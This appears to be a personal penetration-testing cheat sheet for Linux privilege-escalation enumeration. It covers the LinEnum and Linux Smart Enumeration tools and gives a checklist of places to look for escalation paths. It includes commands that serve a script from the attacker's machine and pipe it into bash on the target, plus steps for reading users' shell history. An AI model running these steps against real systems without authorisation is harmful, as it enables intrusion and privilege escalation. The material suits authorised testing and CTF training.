LinEnum

• https://github.com/rebootuser/LinEnum

• Extracts large amount of target bits

• Could find ports listening on localhost, that might have port-knocking or pivots

• Used by IPPSec

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
cp /opt/LinEnum/LinEnum.sh .
python -m SimpleHTTPServer 80

cd /dev/shm/   ..ramdisk (data wont actually save to disk)
cd /tmp        ..optional (way i've been doing it)

curl $MyIP:8000/LinEnum.sh -t | bash       ..Easy execute and Thorough
curl $MyIP:8000/LinEnum.sh -o LinEnum.sh   ..Download

LinEnum.sh -h                         ..help
LinEnum.sh -k password -e export -t   ..keyword, export, thorough

Linux Smart Enumeration

wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh
lse.sh -h         ..help
lse.sh -l 1 -i    ..level 1.. i to not prompt-pass

Enumeration Plan

1. Check your id, whoami

2. Linux Smart Enumeration (lse) with increasing levels

   1. lse

   2. lse -l 1

   3. lse -l 2

3. LinEnum and other scripts

4. If they are failing, run them manually

   1. Or Check other cheatsheets

   2. https://blog.g0tmi1k.com/..linux-privilege-escalation

5. Check common file

   1. /var/backup

   2. /var/logs

   3. /tmp

   4. /home/user/.*history

Try easy ones first:

1. sudo, cron, suid

2. root processes, enumerate version, check exploits

3. internal ports you can forward to your-remote-machine

Harder:

1. Re-read your enums, look for oddities

2. Unusual file-systems (not ext,swap,tmpfs)

3. Strange usernames

4. Kernel exploits
